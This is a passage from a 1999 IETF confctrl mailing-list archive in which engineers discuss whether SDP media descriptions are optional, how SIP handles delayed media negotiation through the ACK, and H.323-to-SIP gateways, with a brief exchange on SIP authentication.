Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Tom-PT Taylor wrote:
> 
> I could see a possible case in a Media Gateway control application, where a
> global c= clause identifies a circuit and m= is unnecessary because 64 kbs
> clear channel service is understood.  I hasten to add that no one has
> actually proposed this syntax for Megaco use.

Well, the m line doesn't just indicate codecs. It also indicates the
remote port(s). In this case, you would still need it.

The reason I might see for this would be in a gateway from H.323v1 to
SIP. When the SETUP arrives at the gateway, there are no media
information yet. So, the gateway would send an INVITE with SDP with no m
line. When the 200 OK comes, the gateway answers the call on the H.323
side, and does capabilities exchange based on the SDP it received in the
remote side. Once it has determined them, it sends a more complete SDP
with an m line in the ACK message. 

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Apr 15 00:00:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA20086
	for confctrl-outgoing; Thu, 15 Apr 1999 00:00:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA20040
	for <confctrl@zephyr.isi.edu>; Thu, 15 Apr 1999 00:00:01 -0700 (PDT)
Received: from tapti.hss.hns.com (tapti.hss.hns.com [139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA00689
	for <confctrl@ISI.EDU>; Wed, 14 Apr 1999 23:59:30 -0700 (PDT)
Received: from hss068.hss.hns.com (archow@hss068.hss.hns.com [139.85.229.168])
	by tapti.hss.hns.com (8.8.8/8.8.8) with ESMTP id NAA01424;
	Thu, 15 Apr 1999 13:07:25 +0530 (IST)
Date: Thu, 15 Apr 1999 12:14:56 +0530 (IST)
From: Arjun RC <archow@hss.hns.com>
To: Kartick <karsun@wipsys.soft.net>
cc: Mark Handley <mjh@aciri.org>, confctrl <confctrl@ISI.EDU>
Subject: Re: Regarding SDP Media level description
In-Reply-To: <65256754.0024D7D2.00@sampark.hss.hns.com>
Message-ID: <Pine.LNX.4.05.9904151212050.25398-100000@hss068.hss.hns.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Kartick,
the m field is mandatory only if you are specifying the media level
description. However, if you look at the whole grammar in the appendix,
you will see that you could leave out the entire media level description
(which starts with m= line).

In short, m is a mandatory field if you want to specify a media
description. However, you dont have to necessarily specify a media
description. i.e m is stated as optional as its container (media level
description) is optional.

Hope this clarifies the siuation.
Cheers
ARC

On Thu, 15 Apr -1, Kartick wrote:

K> Some lines in each description are required and some
K>    are optional but all must appear in exactly the order given here (the
K>    fixed order greatly enhances error detection and allows for a simple
K>    parser). Optional items are marked with a `*'.
K> Media description
K> m= (media name and transport address)
K> i=* (media title)
K> c=* (connection information - optional if
K> here "m" does not have a star before it hence it
K> is mandatory or that is what I feel
K> 
K> regards
K> kartick

Real programmers use COPY CON COMMAND.COM
------------------------------+----------------------------------+
(O): Hughes Software Systems  |(R): 68/G, 2nd Narayanappa Block, |
146, Prestige Opal Bldng,     |R.T. Nagar,                       |
Infantry Rd, Bangalore-560001 |Bangalore-560032                  |
Ph:+91-80-2286390/91/92       |Ph:+91-80-3430565                 |
------------------------------+----------------------------------+
http://arjun.cjb.net, http://hss068.hss.hns.com (intra HSS)



From confctrl-owner  Thu Apr 15 00:35:59 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA21459
	for confctrl-outgoing; Thu, 15 Apr 1999 00:35:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA21454
	for <confctrl@zephyr.isi.edu>; Thu, 15 Apr 1999 00:35:57 -0700 (PDT)
Received: from aardvark.aciri.org ([192.150.187.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA03159
	for <confctrl@ISI.EDU>; Thu, 15 Apr 1999 00:35:56 -0700 (PDT)
Received: from aardvark.aciri.org (localhost [127.0.0.1])
	by aardvark.aciri.org (8.9.2/8.9.2) with ESMTP id AAA17791;
	Thu, 15 Apr 1999 00:36:09 -0700 (PDT)
	(envelope-from mjh@aardvark.aciri.org)
From: Mark Handley <mjh@aciri.org>
X-Organisation: ACIRI
To: "Kartick" <karsun@wipsys.soft.net>
cc: "confctrl" <confctrl@ISI.EDU>
Subject: Re: Regarding SDP Media level description 
In-reply-to: Your message of "Thu, 15 Apr 1999 09:53:49 +0530."
             <01be86f7$c2ae27b0$171aa4a4@kartick.wipsys.soft.net> 
Date: Thu, 15 Apr 1999 00:36:09 -0700
Message-ID: <17789.924161769@aardvark.aciri.org>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>hi! Mark
>
>Some lines in each description are required and some
>   are optional but all must appear in exactly the order given here (the
>   fixed order greatly enhances error detection and allows for a simple
>   parser). Optional items are marked with a `*'.
>
>Media description
>
>m=3D (media name and transport address)
>
>i=3D* (media title)
>
>c=3D* (connection information - optional if=20
>
>here "m" does not have a star before it hence it=20
>
>is mandatory or that is what I feel

Well, yes and no.  Within a media description it's mandatory, but
media descriptions themselves are optional within a session
description.  Thus a session description does not have to contain any
"m=" fields.

Hope this clears things up!

Cheers,
	Mark

From confctrl-owner  Thu Apr 15 03:25:01 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA26783
	for confctrl-outgoing; Thu, 15 Apr 1999 03:25:01 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA26771
	for <confctrl@zephyr.isi.edu>; Thu, 15 Apr 1999 03:24:58 -0700 (PDT)
Received: from orange.pcs.ellemtel.net (orange.pcs.ellemtel.net [194.237.226.84] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA08858
	for <confctrl@ISI.EDU>; Thu, 15 Apr 1999 03:24:56 -0700 (PDT)
Received: from ellemtel.se (isdn242.ellemtel.net [194.237.226.242]) by orange.pcs.ellemtel.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id 2838YWMS; Thu, 15 Apr 1999 12:24:57 +0200
Message-ID: <3715BE74.B5005A0C@ellemtel.se>
Date: Thu, 15 Apr 1999 12:24:52 +0200
From: eubpepe <Peter.Peldan@ellemtel.se>
Organization: Ellemtel
X-Mailer: Mozilla 4.05 [en] (WinNT; I)
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        confctrl <confctrl@ISI.EDU>
Subject: Re: Regarding SDP Media level description
References: <C51ED84B6F47D211917A0000F8BCBD110112B73A@zcard00g.ca.nortel.com> <37157C90.F6511EDE@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:

> The reason I might see for this would be in a gateway from H.323v1 to
> SIP. When the SETUP arrives at the gateway, there are no media
> information yet. So, the gateway would send an INVITE with SDP with no m
> line. When the 200 OK comes, the gateway answers the call on the H.323
> side, and does capabilities exchange based on the SDP it received in the
> remote side. Once it has determined them, it sends a more complete SDP
> with an m line in the ACK message.
> 
> -Jonathan R.
> 
But what exactly should a UAS send as SDP in a 200 OK response to an
INVITE without a media descriptor? Should it send all it's capabilities
for all types of sessions? And even if the H323-SIP gateway sends the
media descriptor in the ACK how will the UAS know what media to expect?
Should it listen for all media types it supports?
Suppose for instance that the UAS sends an SDP with mediadescriptors for
both audio and video, and the H323-SIP gw sends an ACK with only audio.
The UAS cannot be sure the gw won't send video?

Peter Peldan
Ellemtel Utvecklings AB

From confctrl-owner  Thu Apr 15 06:14:52 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA02225
	for confctrl-outgoing; Thu, 15 Apr 1999 06:14:52 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA02220
	for <confctrl@zephyr.isi.edu>; Thu, 15 Apr 1999 06:14:50 -0700 (PDT)
Received: from tapti.hss.hns.com (tapti.hss.hns.com [139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA14198
	for <confctrl@ISI.EDU>; Thu, 15 Apr 1999 06:10:18 -0700 (PDT)
Received: from hss068.hss.hns.com (archow@hss068.hss.hns.com [139.85.229.168])
	by tapti.hss.hns.com (8.8.8/8.8.8) with ESMTP id TAA25430
	for <confctrl@ISI.EDU>; Thu, 15 Apr 1999 19:31:54 +0530 (IST)
Date: Thu, 15 Apr 1999 18:39:21 +0530 (IST)
From: Arjun RC <archow@hss.hns.com>
To: confctrl@ISI.EDU
Subject: Re: Regarding SDP Media level description
In-Reply-To: <65256754.00467165.00@sampark.hss.hns.com>
Message-ID: <Pine.LNX.4.05.9904151833450.5286-100000@hss068.hss.hns.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
This brings me to another question: 
In SIP, after  A sends an INVITE to B and B responds with an OK, must
media communication start immediately ? Or is there a provision in which B
can send a provisional OK to A saying its got an INVITE but cannot
establish a media session as it does not yet have enough info to do so
(something analogous to the setupacknowledge in h323?) ? If so, then the
UAS could probably send this back and the sender knows that he must issue
further INVITEs to establish a media comm.

Cheers
ARC

On Thu, 15 Apr -1, eubpepe wrote:

eu> But what exactly should a UAS send as SDP in a 200 OK response to an
eu> INVITE without a media descriptor? Should it send all it's capabilities
eu> for all types of sessions? And even if the H323-SIP gateway sends the
eu> media descriptor in the ACK how will the UAS know what media to expect?
eu> Should it listen for all media types it supports?
eu> Suppose for instance that the UAS sends an SDP with mediadescriptors for
eu> both audio and video, and the H323-SIP gw sends an ACK with only audio.
eu> The UAS cannot be sure the gw won't send video?
eu> Peter Peldan
eu> Ellemtel Utvecklings AB
eu> 

Hardware: The parts of a computer system that can be kicked.
------------------------------+----------------------------------+
(O): Hughes Software Systems  |(R): 68/G, 2nd Narayanappa Block, |
146, Prestige Opal Bldng,     |R.T. Nagar,                       |
Infantry Rd, Bangalore-560001 |Bangalore-560032                  |
Ph:+91-80-2286390/91/92       |Ph:+91-80-3430565                 |
------------------------------+----------------------------------+
http://arjun.cjb.net, http://hss068.hss.hns.com (intra HSS)



From confctrl-owner  Thu Apr 15 06:29:45 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA02788
	for confctrl-outgoing; Thu, 15 Apr 1999 06:29:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA02783
	for <confctrl@zephyr.isi.edu>; Thu, 15 Apr 1999 06:29:43 -0700 (PDT)
Received: from hromeo.algonet.se (hromeo.algonet.se [194.213.74.10])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA14964
	for <confctrl@ISI.EDU>; Thu, 15 Apr 1999 06:29:42 -0700 (PDT)
Received: (qmail 18781 invoked from network); 15 Apr 1999 15:29:39 +0200
Received: from du70-246.ppp.algonet.se (HELO felix.intertex.se) (195.100.246.70)
  by hromeo.algonet.se with SMTP; 15 Apr 1999 15:29:39 +0200
Message-ID: <3715E9C4.2908DC30@intertex.se>
Date: Thu, 15 Apr 1999 15:29:40 +0200
From: Lars Berggren <lars.berggren@intertex.se>
X-Mailer: Mozilla 3.01 (X11; I; Linux 2.0.35 i686)
MIME-Version: 1.0
To: eubpepe <Peter.Peldan@ellemtel.se>
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        confctrl <confctrl@ISI.EDU>
Subject: Re: Regarding SDP Media level description
References: <C51ED84B6F47D211917A0000F8BCBD110112B73A@zcard00g.ca.nortel.com> <37157C90.F6511EDE@dnrc.bell-labs.com> <3715BE74.B5005A0C@ellemtel.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

eubpepe wrote:
> 
> Jonathan Rosenberg wrote:
> 
> > The reason I might see for this would be in a gateway from H.323v1 to
> > SIP. When the SETUP arrives at the gateway, there are no media
> > information yet. So, the gateway would send an INVITE with SDP with no m
> > line. When the 200 OK comes, the gateway answers the call on the H.323
> > side, and does capabilities exchange based on the SDP it received in the
> > remote side. Once it has determined them, it sends a more complete SDP
> > with an m line in the ACK message.
> >
> > -Jonathan R.
> >
> But what exactly should a UAS send as SDP in a 200 OK response to an
> INVITE without a media descriptor? Should it send all it's capabilities
> for all types of sessions? 

The UAS SHOULD send the SDP for the media types it is willing to support
for the moment ( See rfc2543, appendix B.4 ). Compare also the response
to the OPTIONS without media description ( section 16.8 ).

> And even if the H323-SIP gateway sends the
> media descriptor in the ACK how will the UAS know what media to expect?
> Should it listen for all media types it supports?
> Suppose for instance that the UAS sends an SDP with mediadescriptors for
> both audio and video, and the H323-SIP gw sends an ACK with only audio.
> The UAS cannot be sure the gw won't send video?

Well, the final session description to be used will be in the ACK so if
the UAS receives, reads and understands the SDP of the ACK, it will know
that the gw won't send video.

> 
> Peter Peldan
> Ellemtel Utvecklings AB

/Lars.

-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Thu Apr 15 06:40:31 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA03264
	for confctrl-outgoing; Thu, 15 Apr 1999 06:40:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA03258
	for <confctrl@zephyr.isi.edu>; Thu, 15 Apr 1999 06:40:29 -0700 (PDT)
Received: from pm01sm.pmm.cw.net (pm01sm.pmm.cw.net [208.159.98.150])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA15373
	for <confctrl@ISI.EDU>; Thu, 15 Apr 1999 06:40:28 -0700 (PDT)
Received: from cs.columbia.edu
 (usr21-dialup39.mix1.WillowSprings.cw.net [166.62.39.39])
 by PM01SM.PMM.CW.NET (PMDF V5.2-29 #35315)
 with ESMTP id <0FA8004F2GMD7M@PM01SM.PMM.CW.NET> for confctrl@ISI.EDU; Thu,
 15 Apr 1999 13:39:57 +0000 (GMT)
Date: Thu, 15 Apr 1999 09:44:24 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Subject: Re: SIP security
To: Markus Pscheidt <pscheidt@writeme.com>
Cc: confctrl@ISI.EDU
Message-id: <3715ED38.A2FA5EEC@cs.columbia.edu>
Organization: Columbia University
MIME-version: 1.0
X-Mailer: Mozilla 4.51 [en] (Win98; I)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7bit
X-Accept-Language: en
References: <37149515.919C5698@writeme.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Can you be precise as to the "missing authentication features"? SIP
currently supports password-based, challenge-response and PGP-based
authentication, with additional methods easily addable. (E.g., a current
homework assignment of mine is asking my Network Security students to
add OTP (S/KEY aka Lamport hash) to HTTP/SIP.

Markus Pscheidt wrote:
> 
> What is the security situation of SIP likely to be in the future?
> 
> ...There was an article in this mailing list some time ago stating that
> SAP security mechanisms would be appropriate to address the missing
> authentication procedures of SIP. Is that right, or are there other
> plans?
> 
> ~~ Markus Pscheidt alias pscheidt@writeme.com ~~
>  student at Graz Technical University, Austria

From confctrl-owner  Thu Apr 15 06:45:59 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA03598
	for confctrl-outgoing; Thu, 15 Apr 1999 06:45:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA03593
	for <confctrl@zephyr.isi.edu>; Thu, 15 Apr 1999 06:45:58 -0700 (PDT)
Received: from orange.pcs.ellemtel.net (orange.pcs.ellemtel.net [194.237.226.84] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA15670
	for <confctrl@ISI.EDU>; Thu, 15 Apr 1999 06:45:57 -0700 (PDT)
Received: from ellemtel.se (isdn242.ellemtel.net [194.237.226.242]) by orange.pcs.ellemtel.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id 2838YWN9; Thu, 15 Apr 1999 15:45:57 +0200
Message-ID: <3715ED8A.3B8946C2@ellemtel.se>
Date: Thu, 15 Apr 1999 15:45:46 +0200
From: eubpepe <Peter.Peldan@ellemtel.se>
Organization: Ellemtel
X-Mailer: Mozilla 4.05 [en] (WinNT; I)
MIME-Version: 1.0
To: Lars Berggren <lars.berggren@intertex.se>, confctrl <confctrl@ISI.EDU>
Subject: Re: Regarding SDP Media level description
References: <C51ED84B6F47D211917A0000F8BCBD110112B73A@zcard00g.ca.nortel.com> <37157C90.F6511EDE@dnrc.bell-labs.com> <3715BE74.B5005A0C@ellemtel.se> <3715E9C4.2908DC30@intertex.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Lars Berggren wrote:

> Well, the final session description to be used will be in the ACK so if
> the UAS receives, reads and understands the SDP of the ACK, it will know
> that the gw won't send video.
> /Lars.
> 
Not if the gw only indicates the media it wants to receive? 
As far as I understand it, it is OK for the gw to send an SDP containg
only audio and still send video-streams since the UAS did indicate that
it supported video?

Peter

From confctrl-owner  Thu Apr 15 14:53:22 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA25218
	for confctrl-outgoing; Thu, 15 Apr 1999 14:53:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA25213
	for <confctrl@zephyr.isi.edu>; Thu, 15 Apr 1999 14:53:20 -0700 (PDT)
Received: from mail5.Dialogic.com (mail5.dialogic.com [146.152.224.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA02654
	for <confctrl@ISI.EDU>; Thu, 15 Apr 1999 14:53:16 -0700 (PDT)
Received: from sanmiguel.dialogic.com ([146.152.131.2])
 by mail5.Dialogic.com (PMDF V5.2-31 #33110)
 with SMTP id <0FA9009LR3G9BF@mail5.Dialogic.com> for confctrl@ISI.EDU; Thu,
 15 Apr 1999 17:52:59 -0400 (EDT)
Received: from KRACKEL by sanmiguel.dialogic.com (SMI-8.6/SMI-SVR4)
	id OAA28607; Thu, 15 Apr 1999 14:56:08 -0700
Date: Thu, 15 Apr 1999 14:53:14 -0700
From: "Kalon R. Kelley" <Kalon.Kelley@dialogic.com>
Subject: RE: Regarding SDP Media level description
In-reply-to: <3715ED8A.3B8946C2@ellemtel.se>
To: eubpepe <Peter.Peldan@ellemtel.se>,
        Lars Berggren <lars.berggren@intertex.se>, confctrl <confctrl@ISI.EDU>
Message-id: <001001be878a$5cdff3d0$96839892@KRACKEL>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2014.207
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

eubpepe wrote:

> Not if the gw only indicates the media it wants to receive?
> As far as I understand it, it is OK for the gw to send an SDP containg
> only audio and still send video-streams since the UAS did indicate that
> it supported video?
>
> Peter
>

I don't think this is the case, although I do believe that the spec could be
clearer on this point.

I suspect that once a session description with media lines is specified
during the INVITE process (whether in the caller's INVITE request, or in the
callee's 200 response in the "delayed media stream" case detailed in section
B.4 of the spec), the rules set up in B.1 regarding media stream description
alignment apply to both the subsequent responses and ACKs related to that
INVITE.

If that is the case, then the nth media stream description in the callee's
response must be matched by the nth media stream description in the caller's
ACK, and that description includes all the information necessary for the
callee to ascertain whether or not the caller intends to both send and
receive video, send video only (sendonly attribute), or refuse the video
stream (port zero).

Kalon


Kalon Kelley
Dialogic Santa Barbara Laboratories


From confctrl-owner  Thu Apr 15 23:38:17 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA12273
	for confctrl-outgoing; Thu, 15 Apr 1999 23:38:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA12268
	for <confctrl@zephyr.isi.edu>; Thu, 15 Apr 1999 23:38:16 -0700 (PDT)
Received: from angel.algonet.se (angel.algonet.se [194.213.74.112])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id XAA15225
	for <confctrl@ISI.EDU>; Thu, 15 Apr 1999 23:38:14 -0700 (PDT)
Received: (qmail 6774 invoked from network); 16 Apr 1999 08:38:12 +0200
Received: from du126-246.ppp.algonet.se (HELO felix.intertex.se) (195.100.246.126)
  by angel.algonet.se with SMTP; 16 Apr 1999 08:38:12 +0200
Message-ID: <3716DAD4.3F0900BE@intertex.se>
Date: Fri, 16 Apr 1999 08:38:12 +0200
From: Lars Berggren <lars.berggren@intertex.se>
X-Mailer: Mozilla 3.01 (X11; I; Linux 2.0.35 i686)
MIME-Version: 1.0
To: eubpepe <Peter.Peldan@ellemtel.se>
CC: confctrl <confctrl@ISI.EDU>
Subject: Re: Regarding SDP Media level description
References: <C51ED84B6F47D211917A0000F8BCBD110112B73A@zcard00g.ca.nortel.com> <37157C90.F6511EDE@dnrc.bell-labs.com> <3715BE74.B5005A0C@ellemtel.se> <3715E9C4.2908DC30@intertex.se> <3715ED8A.3B8946C2@ellemtel.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

eubpepe wrote:
> 
> Lars Berggren wrote:
> 
> > Well, the final session description to be used will be in the ACK so if
> > the UAS receives, reads and understands the SDP of the ACK, it will know
> > that the gw won't send video.
> > /Lars.
> >
> Not if the gw only indicates the media it wants to receive?

As I've interpreted the spec, the gw will not only list the media it
wants to receive in the ACK, rather it will list the session description
to be used, including send-only media streams.

> As far as I understand it, it is OK for the gw to send an SDP containg
> only audio and still send video-streams since the UAS did indicate that
> it supported video?
> 
> Peter

In your example, I guess the messaging can look like this:


gw --> UAS:
----------
INVITE example@uas.com SIP/2.0
...
no media description.



UAS --> gw:
----------
SIP/2.0 200 OK
...
m=audio 49170 RTP/AVP 0
a=rtpmap:0 PCMU/8000
m=video 51372 RTP/AVP 31
a=rtpmap:31 H261/90000
 


gw --> UAS:
----------
ACK example@uas.com SIP/2.0
...
m=audio 40000 RTP/AVP 0
a=rtpmap:0 PCMU/8000
m=video 0 RTP/AVP 31
a=rtpmap:31 H261/90000
a=sendonly


In the ACK the UAS understands that the gateway will not receive any
video but it will send it. Hence, when the ACK arrives, the UAS knows
that it should receive but not send video.

This is my understanding, tell me if I've missed something.
/Lars

-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Fri Apr 16 05:50:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA22899
	for confctrl-outgoing; Fri, 16 Apr 1999 05:50:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA22894
	for <confctrl@zephyr.isi.edu>; Fri, 16 Apr 1999 05:50:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id FAA27038
	for <confctrl@isi.edu>; Fri, 16 Apr 1999 05:50:04 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Fri Apr 16 08:48:38 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id IAA23713;
	Fri, 16 Apr 1999 08:48:35 -0400 (EDT)
Message-ID: <371730EB.AAEE7258@dnrc.bell-labs.com>
Date: Fri, 16 Apr 1999 08:45:31 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Lars Berggren <lars.berggren@intertex.se>
CC: eubpepe <Peter.Peldan@ellemtel.se>, confctrl <confctrl@ISI.EDU>
Subject: Re: Regarding SDP Media level description
References: <C51ED84B6F47D211917A0000F8BCBD110112B73A@zcard00g.ca.nortel.com> <37157C90.F6511EDE@dnrc.bell-labs.com> <3715BE74.B5005A0C@ellemtel.se> <3715E9C4.2908DC30@intertex.se> <3715ED8A.3B8946C2@ellemtel.se> <3716DAD4.3F0900BE@intertex.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Lars Berggren wrote:
> 
> In your example, I guess the messaging can look like this:
> 
> gw --> UAS:
> ----------
> INVITE example@uas.com SIP/2.0
> ...
> no media description.
> 
> UAS --> gw:
> ----------
> SIP/2.0 200 OK
> ...
> m=audio 49170 RTP/AVP 0
> a=rtpmap:0 PCMU/8000
> m=video 51372 RTP/AVP 31
> a=rtpmap:31 H261/90000
> 
> 
> gw --> UAS:
> ----------
> ACK example@uas.com SIP/2.0
> ...
> m=audio 40000 RTP/AVP 0
> a=rtpmap:0 PCMU/8000
> m=video 0 RTP/AVP 31
> a=rtpmap:31 H261/90000
> a=sendonly
> 
> In the ACK the UAS understands that the gateway will not receive any
> video but it will send it. Hence, when the ACK arrives, the UAS knows
> that it should receive but not send video.
> 
> This is my understanding, tell me if I've missed something.

This is exactly correct.

I agree this is not clear in the spec. The annex on usage of SDP
describes how its done with INVITE followed by 200. If there is no media
at all described in the INVITE, the process  is effectively the same,
but starting with 200, followed by ACK.

Things could get confusing if you send something in the INVITE, get a
"trimmed" version in the 200 OK as expected, and then send something
different altogether in the ACK. Although the spec doesn't explicitly
disallow this, I think its a bad idea. If you want to modify the
description sent in the INVITE, use a re-INVITE instead, not an ACK. SDP
in ACK is really meant for cases (like the H.323v1 gateway), where the
media content is not known until after call acceptance.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Apr 16 06:02:14 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA23269
	for confctrl-outgoing; Fri, 16 Apr 1999 06:02:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA23263
	for <confctrl@zephyr.isi.edu>; Fri, 16 Apr 1999 06:02:12 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA27504
	for <confctrl@isi.edu>; Fri, 16 Apr 1999 06:02:11 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Fri Apr 16 09:01:53 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id JAA23900;
	Fri, 16 Apr 1999 09:01:53 -0400 (EDT)
Message-ID: <37173408.E04E8BFB@dnrc.bell-labs.com>
Date: Fri, 16 Apr 1999 08:58:48 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Arjun RC <archow@hss.hns.com>
CC: confctrl@ISI.EDU
Subject: Re: Regarding SDP Media level description
References: <Pine.LNX.4.05.9904151833450.5286-100000@hss068.hss.hns.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Arjun RC wrote:
> 
> Hi,
> This brings me to another question:
> In SIP, after  A sends an INVITE to B and B responds with an OK, must
> media communication start immediately ? 

I think the spec says that B shouldn't send audio until it has received
the ACK; however many people don't do this, and allow A to receive media
right away. This is useful for in-band tones and progress messages.
We've had some discussion on this list about this issue (183 responses
and the like)... A can send media to B as soon as the 200 OK comes.

Or is there a provision in which B
> can send a provisional OK to A saying its got an INVITE but cannot
> establish a media session as it does not yet have enough info to do so
> (something analogous to the setupacknowledge in h323?) ?

This is the purpose of 100 Trying.

 If so, then the
